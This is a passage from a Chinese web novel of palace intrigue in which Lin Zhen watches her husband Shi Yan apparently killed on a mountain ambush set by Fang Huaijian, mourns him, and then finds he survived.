第一次亲见胳膊腿脚横飞,林蓁浑身绵软无力,太阳穴突突跳着,明晖的言语让她绷紧的心弦松一时紧一时,欣然又悬心。 天色微微泛白,山间晨雾萦绕,忙碌了一晚上,明晖在晨光中放飞了一只信鸽,看着信鸽飞向天空渐渐融入蔚蓝,他转头对林蓁轻松道:“陪你这些日子终于到了头,我得去外面转转,为援救两位护法竭尽全力。” “你在此处再待几日等我消息,我会安排人手送你去湘阳。” 衡州,方怀简解开信鸽脚上字条,他低头看着手中字条,眼神瞬间闪亮,他将字条呈递给萧忱,语气难掩兴奋:“林蓁和明晖在一起,殿下神机妙算,及时让明晖去湘阳县。” 萧忱目光落在字条上,淡淡扫了一眼,缓缓收回视线,语气平静得没有一丝波澜:“回信于他,引时彦去翠屏山。” 他意味深长看向方怀简:“你带两位护法去接应。” 方怀简眉头微微一挑,对上萧忱深邃冷冽目光,敛尽所有情绪颔首称是。 第104章 第 104 章 对得起他 暮色四合, 天边残留着最后一抹橘红,林间蝉鸣渐歇,偶有飞鸟振翅,扑簌声在寂静翠屏山传得极远。几道身影在密林间疾行, 脚步急促却极力放轻, 不敢惊扰夜色。 明晖离开翠屏山好几日, 只留下两位亲信在山村里陪伴林蓁等消息。等了几日, 才等来一位四十来岁嬷嬷,要带领林蓁几人出山。据这位宁嬷嬷描述, 因两位护法被官衙所擒,山外形势已截然不同,白莲教众树倒猢狲散,或者负隅顽抗,或者奔命逃亡。担心遇到官兵, 宁嬷嬷带众人出翠屏山选择傍晚出行。 为隐蔽行踪, 众人既无马匹也不点灯,好在四人中除了林蓁都熟悉地形, 众人凭着微弱天光摸索前行,林蓁虽走得磕磕绊绊, 但有一旁宁嬷嬷搭手,一路还算顺畅。四人默默行走, 最前方汉子忽然抬手, 示意众人停下, 他趴在地上右耳紧贴地面静听片刻,才抬眸看向众人:“前面有许多人,有人有马匹。” 宁嬷嬷微眯了眼睛:“确定?” 她只是难于置信,对于汉子何堂主辨声识物的本事并不怀疑, 明晖护法特意让她晚两天回翠屏山,还叮嘱她不要白日出行,为的是避开回潭州的官兵,这条山道是去湘阳县唯一的山道,也是湘阳县回潭州城必经之路。 马匹脚程比人快得多,前面的人必然不是去湘阳县,而是回潭州,继续前行必然会与这帮人碰面。 不知是敌是友,官兵可能性更大,宁嬷嬷默了片刻,对何堂主道:“前面有个山崖,我们去那里避一避,等这帮人走了再继续赶路。” 山崖不在山道上,从山道拐进再走一会儿便到了一处视野开阔之地,四人走到山崖边,天空已是暗青色,远山顶上还挂着一道暗淡绛红锦带,对面山峰巍然耸立,层层叠叠山影中暗岚渐起。 崖边老树虬枝斜出,藤蔓自石缝蜿蜒而下,山花点缀其间,崖下深谷幽邃,密林郁郁葱葱,林蓁俯瞰之下,只觉雾气在谷底翻涌,山风从谷底呼啸而起,让人不由生畏。 山道上马蹄声人声渐响,远山顶上锦带消失殆尽后,各种杂音愈发清晰,四人石像般站在山崖边静静等待,突然,何堂主惊异道:“他们往这边来了。” 宁嬷嬷飞快看了四下一圈,命令道:“躲那边!” 崖边灌木丛高大深邃,枝条交错纵横,密集藤蔓交织成天然屏障,四人悄然藏匿其中,蹲伏在地一动不动,屏息凝神。 刀剑相击的清脆声响传入四人耳中,宁嬷嬷默默握紧了兵刃。 一男子浑厚声线破开山岚:“盐铁使大人,前面已经没路了!”尾音上扬,载着释然与喜色。 四人脸色瞬间骤变。 灌木交织遮天蔽月,四双眼睛嵌在其中,竭力探看。 山道上时彦紧握剑柄,步伐沉重缓缓后退,背脊上几处深深刀伤冒着鲜血,伴随他的挪动鲜血滴滴落地,他气息急促,然而目光坚定明亮。 “所有山口已被封死,潘护法杀了我不过再添一道死罪,于你活命毫无助益,你在此山躲得了一时躲不了一世,交代林御史下落,即刻扔刀归顺朝廷,以潘护法位分有机会得天子宽大。” 潘护法不为所动,握着刀一步步走近时彦。 他“嘿嘿”冷笑:“有朝廷四品大官陪我上路,我黄泉路上气都顺!” 话音未落,潘护法大刀劈向时彦,他气势雷霆万钧,刀光闪烁间,时彦身形狼狈,防守已然破碎。 灌木丛里,林蓁目光紧紧锁住时彦身形,他身上血迹斑斑,每一次躲避都气喘吁吁,潘护法大刀每劈下一次,林蓁心脏就重重抽搐一回。 他怎么在这里?!定是长庚启明不知道明晖,让时彦得到错误消息,赶来翠屏山。 林蓁双眸通红,刀剑碰撞琤琮声中,她压住嗓音声如蚊呐,攥紧宁嬷嬷衣袖哀求:“他是我夫君!求嬷嬷救他!” 宁嬷嬷脸色凝重,所得消息两位护法已被衡州官府擒获收押,潘护法怎会出现?! “他是我教潘护法,我们功力不及,现下后面还有人,无论是潘护法的人还是官兵,我们暴露,没有一个人能活。” 宁嬷嬷握紧林蓁攥着自己的手,冷静叮咛:“别出声,我会劈昏你。” 林蓁心如擂鼓,无尽恐惧压得她喘不过气,她紧紧咬住嘴唇,毫无知觉血珠从牙齿与唇间渗出,她的眼睛无法从时彦身上移开,眼睁睁看着他被一刀刀紧逼,脚步踉跄,变成一个血人。 时彦身形渐渐摇晃,他倏地倒地,发出重重“扑通”声,他身形来不及闪躲,大刀再次劈向他,刀落瞬间,林蓁紧紧闭上眼,泪水决堤般涌出,鲜血染红了唇,她浑身剧烈抖动,眼睛与灵魂同坠黑暗。 “咔啦咔啦”,树枝折断脆响在山崖下不断传来,碎裂声回荡在幽深山谷,潘护法握着刀,站在崖边看向谷底发愣,分明那刀已砍在他身上,可他身形晃动间竟然滚下山崖,九成九活不了,不过没见到尸身自己怎么交代? 身后响起杂乱马蹄声,潘护法回神,转过身看向来人,一队几十人的人马停驻在潘护法几丈开外,为首者月白锦袍端坐马背,身姿挺拔。 马下两侧仆从垂首提着琉璃灯,灯火映照下,马背上的人温润如玉,他颜色平静如水,看不出喜怒,低垂着眼看向潘护法。 潘护法躬身,将手中长刀双手奉上,刀身寒光未敛,尖刃处尚淌着血珠,一滴滴溅落地上留下点点深色:“人已被我结果在刀下,只是——力道太大,他被我砍飞,坠了崖。” 马背上的人轻声道:“怎知他被你结果,不是被你放走?” 潘护法愕然抬眸:“他死换我活,这不是我们说好的么,我刚刚看过,别说他已被我砍死,便是没死,摔下这山崖也活不了。” “你说的我都做到了,解药给我,我们各走两道。” 马背上的人默了一会儿,终是吩咐仆从:“解药给他。” 仆从走到潘护法面前,递上了一颗药丸,潘护法迅疾将药丸塞入口中,喉结急促滚动,几乎瞬间便吞了下去。 “看看效果如何”,马背上的人打了个响指,随扈中有人吹起了竹笛,悠扬笛声在崖边飘荡,醉人心弦,可潘护法脸色乍变,他一手抱头,一手拎起刀向马背上的人扑去:“过河拆桥!我们同归于尽!” “打下山崖!”马背上的人冷声下令,身后随扈们应声而出,不出几个回合将头疾发作痛不欲生的潘护法砍落山崖。 笛声骤停,重物落入深谷的回声震动着空气,马背上的人翻身下马,衣袂翻飞间他落地无声,随即提起仆从手中琉璃灯,快步走向崖边。 轻轻举起琉璃灯,灯火耀在他眼边,他似要将崖底一切看得分明,山谷中回音逐渐消散,他清隽冷冽的面庞现出不屑神色。 良久,他踢开脚边碎石,碎石滚落山崖发出“哗哗”声。 灌木中的林蓁拼命捂住嘴,她死死咬住舌头,鲜血从指缝中渗出,钻心疼痛避免自己晕厥,胸口剧烈起伏可仍然换不上气。 方怀简,飞飞,怎么是他!林蓁眼前一阵阵发黑,五脏六腑已经豆腐般破碎,身体只剩下一具躯壳,只有昏沉沉想闭眼的沉重无力,只想快点脱离这个令人窒息,恐惧与绝望的世界。 像看一部恐怖电影,林蓁只想快点结束赶紧醒来,回到真实时空。 可眼前如此真实可怖,飞飞,杀了时彦的这个人,此刻正站在崖边,静静俯瞰黑沉沉深渊,像在确认什么,像在等着什么。 “下去看看。” 方怀简挥挥手吩咐随扈,语气淡凉似冬日冰水。 很快,一名随扈身绑绳索手举灯笼,被众人徐徐放了下去,许久,随扈被拉回山崖,对方怀简禀道:“大人,绳索只落在半山腰,看不到崖底,也看不到人。” 方怀简面色沉郁,默了片刻点点头:“东西淋下去。” 随扈们默默从马车上搬运出一罐罐液体,一个个投掷到山谷,“咚咚”声音响在山谷深处,有人点燃了火把,将好几个火把投进山谷声响处。 火光顿时亮起,像猛兽眼睛在谷底闪烁,黑压压群鸟从谷底飞起,“啾啾”鸣叫着,在谷底熊熊燃烧的火焰上盘旋,空气中弥漫着刺鼻烟气。 方怀简在山崖边站了许久,目光凝视着谷底火光,红红火焰照亮他的眼眸,火红眸底全是决然与冷酷,直到随扈提醒,“大人,我们还得赶路。”他才收回视线,缓缓转身离开了崖边。 背对山谷离火光越来越远,方怀简眸光晦暗,他对得起时彦,四品官平乱白莲教斗败潘护法不幸坠亡山崖,死了还送他皇家厚葬和追封,即便帝王们如走马灯般变换,十年百年也不会改变丝毫他的荣光。 灌木丛中四人又等了大半个时辰,何堂主趴地上反复聆听,确认再听不到丁点儿马蹄声后,四人才重新站回山崖边。 大概谷底杳无人迹氧气稀薄,火光渐渐减弱,浓烟滚滚浑浊难闻。 林蓁眼泪无声流淌,她看着谷底火光,哆哆嗦嗦求宁嬷嬷:“能不能,下去看看?” 的确令人难受,但得面对现实,宁嬷嬷心生怜惜,拍拍林蓁的手,无奈叹道:“刚刚你也听到了,他们下去都没看到什么。” 从他坠崖到现在,至少过去了一个多时辰,林蓁知道,希望渺茫,宁嬷嬷他们没有义务做什么,她才应该做些事,可她什么都做不了,林蓁跪在了山崖边,双手紧抓岩石,尽力伸出身体往山谷底部探看。 无尽黑暗中,除了谷底火光,呛鼻浓烟,蒸腾热气,她什么都看不到闻不到感受不到,盘旋的群鸟不知飞到何处,山谷安静得似乎时间已经停滞。 亲眼目睹他的挣扎,他的死亡,一个活生生的人瞬间消失,她什么都帮不了做不到,心底绝望和悲怆像海水淹没了林蓁,她呼吸困难,情不自禁大喊。 “时彦——” “阿彦——” 哀音在山谷中回荡,回声撕裂空气,空洞漫长却唤不回时彦声音,群山寂静,山风似乎都在躲避林蓁哀声,尖锐石棱刺破她的掌心,可她仍然牢牢抓攥着,对着山谷一声声无助哀哭叫喊。 为什么呀,为什么是飞飞亲自动手,为什么飞飞动作行云流水不带一丝犹豫,为什么要让她亲眼目睹这一切……她再一次失去爱人,两个,同时……失去得到再失去,轮回永不停歇,林蓁恸哭,撕心裂肺。 “得走了”,宁嬷嬷劝道,“现在走,明日白日能赶回来。” 暑日炎热,快点赶回来,还能叫人收个完尸。 林蓁心下明白,可眼前一黑,栽倒在地昏了过去。 第105章 第 105 章 我们岁月静好 寂静山崖边, 宁嬷嬷跪坐在林蓁身旁,对她又掐又拍,“醒醒,快醒醒!”见她毫无反应, 宁嬷嬷眼底焦灼, 干脆扶住她的肩使劲摇晃。 解下腰间的水囊, 宁嬷嬷抬手便将一捧冰凉清水泼在林蓁脸上, 骤然被浇下凉水,软倒在地的林蓁终于缓缓睁开眼。 宁嬷嬷握紧林蓁的手:“撑着点, 我让他们背你。” 林蓁缓了缓神,凉水顺着脸颊滑落,带走了昏沉和灼热,带来了丝丝清醒,这里不可久留, 无论宁嬷嬷他们仨还是自己, 都不可以被任何人撞见。 她咬着唇,手掌撑着泥地坐了起来, 声音低沉:“我没事,我们赶紧走。” 林蓁被宁嬷嬷搀扶着行走在山路上, 耳畔还残留着时彦坚定铿锵的声音, “交代林御史下落”, 可人已经不在了, 紧赶慢赶最快也要明天下午才能再回到此处, 那时的他会是什么模样,是已烧得辨不出人形的枯骨,还是熏得炭黑的干尸,还是被野兽飞禽啃啄过的残躯。 眼睛像是泉眼, 泪水汩汩涌出,深夜看不清路也不需要看路,林蓁任泪水从下颚滑下滴答到泥土中。宁嬷嬷挽着林蓁胳膊埋首走路,可她似看到林蓁眼泪,带着几分沉重道:“沿路还有尸首。” 林蓁指尖用力抓紧宁嬷嬷衣袖,她牙关轻颤,想说点儿什么,却发不出声音。 是了,时彦不是莽撞之人,他功夫一般,不可能单枪匹马出现在翠屏山,长庚启明呢?怎么也会带几个衙役吧,都死了么? 林蓁泪水落得更凶。 “到了湘阳县,说什么合适,能够让官老爷多派人手过来找人,你得想好,千万把自己摘出去。” 林蓁泪流不止,指尖颤抖着,却终于闭眼,强行截断泉眼的水流。她还活着,她得继续走下去。 天色微曦,四人走了一夜山路到了湘阳县城,城门刚刚开启没多久,进出城的商贩排着长队等候守城士兵查验。 宁嬷嬷等三人与林蓁刻意拉开距离,四人顺利通过查验走进城门,林蓁被眼前景象震住了,城墙下大队士兵少说也有几百人整装待发,兵甲在晨光下闪亮,马匹嘶鸣,为首将领正与身着县令官袍者低声交谈,似乎在等待什么命令。 林蓁脚步微微一滞,发生了什么,湘阳县衙有这般动静?这些士兵若有任务出城,怕是没有足够人手去翠屏山。 她这样想着,目光在士兵中睃巡,士兵边缘一道熟悉身影映入眼帘,长庚!他还活着!再定睛细看,长庚身边站着潭州知府杨大人和御史梅大人! 激动得像心中有锅滚烫沸水,胸膛火热滚烫,林蓁目光努力在人群中寻找,然而并没有时彦和启明人影。刚刚激起的心慢慢落下,她按下心中哀伤情绪,竭力把自己想象成刚刚逃出白莲教众囚禁,什么都不知道的局外人。 林蓁理了理衣襟,整了整鬓发,目光示意宁嬷嬷离去,转身镇定地快步走向梅大人。 不等林蓁走近,长庚眼尖一眼看到她,声音带着哭腔喊道:“少夫人!” 长庚声音嘶哑,透着无法克制悲痛,听到这声呼喊,林蓁便知道,时彦真没了,八月酷暑晨光中,她血液冰冷,忍住眼中酸涩,林蓁强翘起嘴角,惊喜地看向长庚:“你怎么在这儿?大人和启明呢?” 长庚快哭出声,哽咽着说不出话,待平复了情绪,胡乱抹了把脸才告诉林蓁昨夜之事。 白莲教一教众偶遇时彦,说起翠屏山里一女子自称官府之人,托他求救官衙,虽怀疑有诈但时彦还是带着人马进了山,果然中了白莲教埋伏,时彦让长庚赶回求救。 具体细节长庚已向知府杨大人说了明白,时彦已凶多吉少,所以湘阳县衙士兵一大早准备进山搜寻,但他不敢向林蓁详说,他骑马逃出时,时彦已被砍了好几刀,长庚担心林蓁受不住。 林蓁怔怔地看着长庚,连睫羽都在颤抖,他为了救她……才走上死路…… 周围人见状,纷纷围过来,杨大人记得萧忱嘱咐,担心林蓁出事,自欺欺人安慰林蓁:“林御史且进县衙歇息,我们带领士兵进山围剿,很快就能救出时大人。” 梅棠亦扶住林蓁:“你且歇一歇,骑兵进山,有什么消息我们在县衙第一时间便知晓。” 林蓁想好的说辞都用不上,她本想一起进山,这会儿有骑兵开路,她去只会拖后腿,她靠上梅棠肩膀,眼泪夺眶而出。 当日夜晚,时彦遇难消息就传回县衙,遗体在谷底发现,已被大火焚烧过,知府杨大人带着湘阳县县令正一起想办法把遗体运出山谷。 一直到两日后,时彦遗体才被运出翠屏山,因要回皇城安葬,棺木暂停在湘阳县城外的月华寺。林蓁在月华寺里等待,陪同棺木回来的,除了一脸悲戚的长庚,还有神色肃穆的方怀简。 林蓁夜不能寐,整整盼了两日,就想打开棺木最后看一眼时彦遗容,然而她刚开口,长庚就跪在她的面前,流着泪央求:“少夫人,别看了,大人地下有知,也不想少夫人再看。” 默默看着长庚不敢抬首模样,看着他面前地上现出一滴滴泪花,林蓁泪水无声滑落。 长庚两日都未曾回来,他把时彦带出来,他定亲眼见过,又是火烧又是高温运输,想来时彦模样,早已面目全非。 寺庙里,檀香袅袅,僧人们盘膝而坐,口中念诵超度亡魂的经文,诵经声低沉悠远。 林蓁跪坐在蒲团上,目光怔然望着前方黑沉沉棺木,脸色苍白得毫无血色。 时间仓促,时彦的棺木准备得匆忙,湘阳县城最好棺木也不过年限有限楠木,不久以后回到皇城,毅勇侯夫妇必不忍心他睡在如此寒碜棺木里,他还会从这具简陋棺木里移出,换入另一口更好棺材,到时不知还能捡出几块碎骨,死了都难得安生。 经文声一遍又一遍,仿佛一把钝刀,缓慢绵长地剜割着林蓁的心。 身后,方怀简亦跪坐在蒲团上,静静看着林蓁,良久,他低声开口:“安安,对不起。” 再见方怀简,林蓁并不意外,这两天梅棠陪着她,和她讲述了在湘阳和白莲教闹事教众你来我往缠斗之事,林蓁根据梅棠所说,梳理出事情大致脉络。 萧忱方怀简在衡州白莲教闹事重灾区坐镇指挥,设计抓获了三位护法中的两位,明晖则漏网之鱼逃出了衡州,两位护法会被押回皇城治罪,方怀简押送他们到翠屏山时,被山里埋伏的教众袭击,潘护法因此脱逃,不过他逃亡时恰好碰到时彦,时彦人马全军覆没,以命搏命陪葬了白莲教这位护法。 这个悲伤的故事非常完美,如果林蓁没有亲眼所见。她想过要不要在方怀简面前揭穿事情真相,可仔细考虑一番,方怀简身后还有萧忱,她打消与他们当面对质想法,想回皇城面见毅勇侯后再说。 此刻,方怀简一句“对不起”,林蓁听在耳中,心像被利刃狠狠刺了一刀,她垂下眼睫,将眼中情绪死死压住,压下喉间哽咽,沉默着不去看他,也不回应他。 见林蓁沉默不语,以为她因时彦之痛而不愿多言,方怀简叹了口气,在她身后低沉声线简单说了事情经过。 林蓁心中悲哀又愤怒,这还是她认识的飞飞吗,飞飞曾是多么善良的人呐! 他方怀简怎可以这么平静,在给时彦超度亡魂时,脸不红心不跳,似乎还有一丝丝悲悯,述说一个根本不存在的故事。 “够了!别说了!”林蓁深吸一口气,打断了方怀简的话,她实在担心自己撑不住,怒吼出所有真相,“你走吧,我不想看到你。” 这张脸曾是她心之所向,世间所有风华都曾汇聚在他一人身上,因他的脸,开启所有这一切,然而不过一年,林蓁竟然不愿意再看一眼这张脸,曾令她痴迷的脸下,是她不敢想象的残忍,他的面容和月前离开潭州时分明没有什么两样,但其实应该早就和过去撕裂为两人,林蓁无法再从容面对他。 方怀简脸色不太好看,他离开 潭州城时林蓁虽没和他说什么,但他明显感知到她的依依不舍。月余没见,他天天无时无刻不在想她念她,以为再见林蓁不说和自己一样日思夜想,绝不会像现在这般冷淡如冰。 不过这个时空再没有时彦,他亲自检验过遗骸,他不会和一个不存在的人去比较去置气,他换了个话题,提醒林蓁道:“白莲教平息,萧忱大业将成,他是你的亲哥哥,你真的不打算和他相认?” 林蓁听方怀简意思,就知道萧忱许多事情瞒着方怀简,她反问:“他把我丢在洞庭湖上,你不知道?” “我知道,但白莲教各地闹事,他把你安置在那儿,对你最为安全”,方怀简问出心中疑惑,“船并没有遇到水寇,是时彦带你离开了船,对不对?” “你知不知道,我们刚得到消息时,有多担心你!我们虽在衡州,派了人手一直在寻你。” 林蓁不置可否,亦庆幸未被萧忱属下寻获。 方怀简心下了然,虽然林蓁不愿意认回萧忱这个同胞哥哥,但萧忱心有明镜,非要时彦性命不仅仅因为他是毅勇侯之子,更因为他欺负林蓁,萧忱不会放过任何一个欺辱他妹妹的人。 也间接成全自己。 见林蓁自始至终不爱搭理自己,此刻又在寺庙说话不便,方怀简无奈道:“你现在心情不好,我不多打扰,你自保重,我过几天来看你。” 他拂了拂衣袍,起身准备离开。 然而,他刚刚站起身,林蓁突然侧首唤他:“等等。” 方怀简眼底闪过一丝喜色,微微躬身:“安安?” 以为自己要离开,安安终究还是不舍,她愿意和他说话,随便说什么,都让他欢喜。 林蓁缓缓抬眸对上方怀简视线,她神色平静,眼中没有半点他所期待目光,淡声问:“你确信,萧忱信任于你?” 方怀简僵了一瞬,随即勉强一笑:“我有自知之明,我是他用得顺手工具,不过我不在意。” “我顺势而为,我和他各取所需。” 他似乎洞明一切,却一叶障目看不到萧忱对自己别有居心,林蓁别过头,不再多说什么,事到如今,时彦已逝,这本小说中的外来者就只有自己和方怀简,故事走向再难有偏差,方怀简为萧忱冲锋陷阵,她难道还劝他回头是岸?何况她也不确定不知道,回头是暗流深渊,还是陆地浅滩。 她知道他想要的“需”,如果他知道萧忱对她做过什么,他会不会觉得他的“需”很可笑? 方怀简瞧她脸色暗淡,解释道:“我知道你不想看血雨腥风,谁想经历这些?可现在是夺权,是你死我亡的暴力争夺,只要萧忱尽快上位,一切都会回归本原,我们岁月静好。” 他尤其加重最后一句话语气,可林蓁耳中,那曾温柔似水,让她暖意安心的语气现下充满了讽刺。 林蓁垂眸掩下心事,不甘心地追问:“追随萧忱,所作所为有没有违心的时候?” “世事如此,个人只能随势而动,趁势而为。逆势而行者螳臂当车,只会被碾碎为齑粉”,方怀简深叹了口气,“你可能不知道,毅勇侯在皇城已被软禁,他查实了两位皇子谋害天子之罪,但却被他人参了一本,说他手起刀落不给两位皇子留余地,是为他的女婿魏王回皇城继承大统铺路。” “为不偏不倚,天子令他交出兵权,他现在闲坐侯府,无所事事。” 萧忱背后不仅有方怀简,还有庞大下注他胜出以皇后和国舅为代表的官僚集团,方怀简最多算萧忱成事路上的锦上添花,林蓁抽了口气,抬眸再度看向方怀简。 方怀简神色淡淡,“你告诉我的小说结局,回皇城后就是终章。” 第106章 第 106 章 你会平安无虞 故事的脉络都是林蓁对方怀简亲口所述, 曾经她那么笃定告诉他,萧忱一定是笑到最后的人,为此她也赞许方怀简跟随萧忱,既可以踏踏实实做些实事, 又可为自身和家族搏个好前程好运道。可快要走到这条道路尽头, 眼前初现曙光时, 林蓁后悔了, 耳边诵经之声仿佛围绕着她嘲笑讽刺,其实是她, 亲手将时彦推下了那道山崖。 林蓁没有给方怀简的离去一个眼神,沉浸在自省,悔恨的痛苦中。 细细想来,林蓁怀疑,她或许是一个天煞孤星命格, 前世时候克死自己慈父, 好不容易遇见和自己完美契合的飞飞,两人同时一命呜呼, 今世托生在英国公府世家大族里,已是极好开端, 也迅速克死自己母亲,成亲后自己的命格继续它的诅咒, 再次克死了时彦…… 她不信教不信神佛的, 可两世诸多巧合, 让自己不得不相信,或许只是因为自己命格?前世是她做主挑的出游城市,这一世是她让时彦走向萧忱对立面。 若再嫁给萧忱,他也会变成歹命, 自己间接给时彦报了仇?林蓁脑海里冒出各种光怪陆离不可思议的想法…… 她跪在蒲团之上,脊背笔直,却仿佛一阵风就能吹倒,她垂着头,目光落在木棺前那盏长明灯上,恍惚间,火光摇曳,与往昔重叠—— 他在湘阴县城客栈里,轻轻吻她的手背,对她说,“你只管努力去实现你的抱负。” 他在湘阴县城外马车里絮絮叨叨叮嘱她各种小心,他重重亲她的唇,对她说,“好好的,等我回潭州。” 他在车厢外,对她说,“我很快回来”…… 他兑现了承诺,为了她,甚至提前回到潭州,可自己没有掀开那道车帘看他最后一眼,没有勇气对抗长庚的眼泪,打开他的棺木看一眼他的残躯…… 诵经声悠远深长,一声声如暮鼓晨钟,敲在林蓁心头,她面色苍白,心中只有无际痛楚。 自己抱负是什么来着? 她两世学习律法,知道世道不公,了解民间疾苦,心中所念是匡扶正义,还天下朗朗乾坤,像梅棠一样,做一名持正不阿女御史,若无人敢言她便言,若无人敢行她便行,以一己之力,为天下公道搏生机。 可不久以后,萧忱会是大周天子,时彦已不在,没有人再有想法,更没有能力去阻拦他奔向天子宝座,当萧忱对自己说,希望自己永生永世陪伴他时,自己还会有心思执着往昔的抱负吗? 忽地一阵眩晕袭来,林蓁天地旋转眼前一黑,诵经声渐渐远去,她支撑不住,身子一软,歪倒在蒲团上。 湘阳县城外的月华寺简陋破旧,只是暂时用来停放时彦棺柩,等皇城毅勇侯府得信后派人来,再把棺柩运回去,林蓁本想守在寺庙里过了头七再做打算,可她连着两天未曾合眼,苦等翠屏山里时彦消息,这第三日跪了大半日,心神枯槁,昏倒后竟然再爬不起,被知府杨大人强行命人抬回湘阳县衙休养。 林蓁丫鬟碧竹跟随云娘还不知道在哪儿,湘阳县令夫人带着自己丫鬟亲自服侍。 昏昏沉沉躺在床上好些天,林蓁沉入了一场无边无际梦境,身子轻飘飘浮在幽深水面之下,周遭皆模糊暗淡。 她有意识,耳边能听到人声,像隔着厚厚水帘,朦胧遥远,她知道自己躺在床上,窗外日明夜暗,柔软巾帕时不时擦拭着她,汤药苦涩气味弥漫在鼻尖。 可她,不想睁眼,不想醒来。 温言软语也好,轻声叹息也罢,都如针刺般扎心,各种安慰和各色眼神令人痛苦,像一个溺水之人,明明渴望有人伸出手拉上一把,可她却连回应力气都没有,只能沉沦水底。 梦境里,方怀简身着大红喜服在喜乐鞭炮声中喜笑颜开,疾步走向自己,自己眼眶微热,心中欢喜,脚步轻盈如蝴蝶蹁跹飞向他。 忽然“砰”地一声,地面崩裂,火星乱溅,一道黑影从天而降,重重砸在她与方怀简之间。 时彦浑身焦黑血肉模糊,几乎辨不出五官,只有断续微弱呻吟显露出一丝活气,让她闻声辨出了他。 她像一根冰柱怔住,耳边喜乐之声倏然变成诵经哀鸣,腿脚酸软,林蓁跪倒在地,手指颤抖着伸出,碰触到时彦焦糊的皮肤,指尖瞬间也变成黑炭。 “求你!救他……求你救救他!”林蓁猛地抬头,泪水涌出,跪行到方怀简身旁,紧紧攥住他的喜服,声音绝望。 可他纹丝不动,甚至连笑容都未曾收敛,只是低头俯视着她,眼神澄澈得似面镜子,完整地映照着林蓁哀哀戚戚的泪脸。 他的笑声渐渐变大,大得淹过一声声爆竹,掩住僧侣诵吟,快把林蓁的耳膜震破,从心底涌出的畅快让他笑出了眼泪:“安安,这才是故事正确的结局。” 他笑得肆意,笑得癫狂,笑声如刀,一刀刀划烂她的心脏。 突然,耳膜震碎那瞬,笑声嘎然而止。 方怀简喉咙仿佛被人掐住,眼中骤然涌上难以忍受的痛苦,他嘴唇微张,却发不出一丝声响,鲜血自胸腔缓缓淌下,染红了他那刺目喜服。 “砰——” 他也像时彦般轰然倒地,滚烫鲜血蔓延开来,沾染上林蓁手指,温热粘腻。 林蓁低下头看向自己的手指,鲜红液体裹挟着半截黑炭,满目猩红中,指缝间漏出一双金丝蟒纹皂靴。 林蓁目光顺着皂靴往上看。 萧忱穿着玄色蟒袍正缓缓收刀,血珠沿着刃口一滴滴落下,地面上绽开盛放梅花。 他周身萦绕肃杀之气,对上林蓁震惊目光,他淡声道:“他该退场了。” 躺在地上的方怀简死不瞑目,眼中尚有未散的笑意,离开的那瞬似乎来不及遗憾。 “不!不要死!都不要死!——” 林蓁嘶吼着,喉咙像被铁钩钩裂,发出声音沙哑破碎。 “蓁蓁,醒一醒,我没死,你看看我!” 一股温柔力量将林蓁紧紧拥入怀中。 “我没死,我在这儿。” 低沉声音带着熟悉的气息和温柔,让林蓁从无边暗夜里骤然惊醒。 泪眼朦胧中,眼前身影渐渐清晰,时彦眸中闪着光火,黑暗中亮闪闪水润润地看着自己。 “阿彦……”林蓁声音颤抖,蓦地双手紧紧攀住时彦脖梗,害怕他如梦一般消散。 “嗯,是我,我没有死。”他的手轻抚她的发,指尖温柔,似想抚去她心间恐惧。 林蓁睁大了眼睛,仔细瞧他,害怕自己仍然沉陷梦境,她伸出手使劲摩挲时彦脸庞,房内没有亮灯,可林蓁仍然看清他脸上伤痕,有大有小有粗有细,深深浅浅,大多已结了血痂。 指腹轻轻掠过那些伤口,冰凉触感如针刺。 “没事了”,时彦按住她的手安慰,“我舍不得你,我怎会死。” 林蓁目光落在他的手上。 他的双手被布条紧紧缠绕,布条上渗着点点暗红。 “不是梦……”她猛地搂住时彦的腰,双臂用力环住他,脸埋进他的肩头,泪水无声滑落,打湿了时彦衣袍。 “你不要死……你不能死……”林蓁哽咽,一遍遍呢喃,重复央求,像是沉溺于梦境,怕他再次离开。 压抑已久的情绪洪水般倾泻,她哭得毫无顾忌,眼泪滚烫,蓦地,她的手触碰到什么,林蓁突然从时彦身上弹开。 “你,好多的伤口……”他的身上横七竖八裹满了布条,林蓁想搂紧他,可害怕弄疼他无从下手。 “我没事”,时彦回抱着林蓁,手臂收紧,将她禁锢在自己的怀中。 黑夜深沉,在他的怀中,林蓁终于感受到一点温度,温暖躯体裹紧了她,这世间没有什么能将他们再分开。 月光透过窗棂,洒落在地变得细碎,林蓁哭声渐止。 她安静伏在时彦胸前,脸颊贴着他宽阔温暖胸膛,听着他咚咚心跳,心灵平静踏实。 她的发顶时不时被他下颚轻轻磨蹭,没有言语,没有别的动作,连眼神都不需交换。 时间在此刻停滞,林蓁闭上眼,唇角翘起现出浅浅酒窝,淡淡的笑像一朵春日月夜里悄然绽放的花。 时彦低头,温暖的唇轻轻触在林蓁酒窝,又缓缓移上她的唇,覆住了她的唇齿,温柔吮吸。 一个激灵直冲林蓁脑门,她许久许久没有和时彦如此亲昵过,缓缓适应了唇齿间的刺激,唇舌间鼻腔里脑门中全都充满时彦温热气息,是林蓁熟悉味道,是她喜欢的恰到好处,不急不缓彼此呼吸交融,林蓁忘了身在何处,这一刻这一瞬只想和他紧紧相拥,唇齿交缠。 亲吻炙热绵长,世界为这个吻而静止,两人沉浸在黑暗中,林蓁心里却似晨曦穿破乌云,整个世界都被柔和光辉笼罩,所有痛楚在阳光下似潮水般褪去,留下的只有温暖地包裹,幸福在心间荡漾,层层叠叠,如湖面漾开涟漪,一圈圈将她温柔包围。 良久,时彦的唇轻轻离开,唇齿间尚有林蓁气息,他喉结微动,紧抱着她一息都不想放开。 经历那么多波折与伤痛,她的心终于回来了。 她终于回到他的身边,重新乖顺躺在他的怀里,不再逃离不再躲避,身心都眷念着他。 时彦眼睛发酸,心中几分狂喜几分酸涩几分满足,漂泊船只终于停靠到他的港湾,他的灵魂他的心灵前所未有的踏实。 也有几分不甘,此刻他只能短暂拥住她,今后长长久久还没有到来。 指腹轻轻滑过她的面颊,触碰到她的下颌,那弧度让他指尖一顿,不过半月时间她整个人都缩小了一圈,瘦得像一张薄纸,手腕纤细得仿佛一杆细竹。 他深吸一口气,压下心底翻涌情欲,只留下柔和温存在林蓁面颊上耳畔边鬓发里亲了又亲。 她在他怀里,一切已足够。 时彦简要述说自己攀岩躲过一劫和接下来计划,他会将计就计现下就回皇城,想法儿让父亲重掌兵权,萧忱回皇城时才有与他对抗的力量。 林蓁在此等待毅勇侯府管家,到时和棺柩一起回皇城,现在林蓁处于孝期,白莲教闹事亦未完全平息,萧忱大概率暂时没功夫来纠缠。若时间允许,也可以跟随梅棠大人把御史台之事做完再回去。 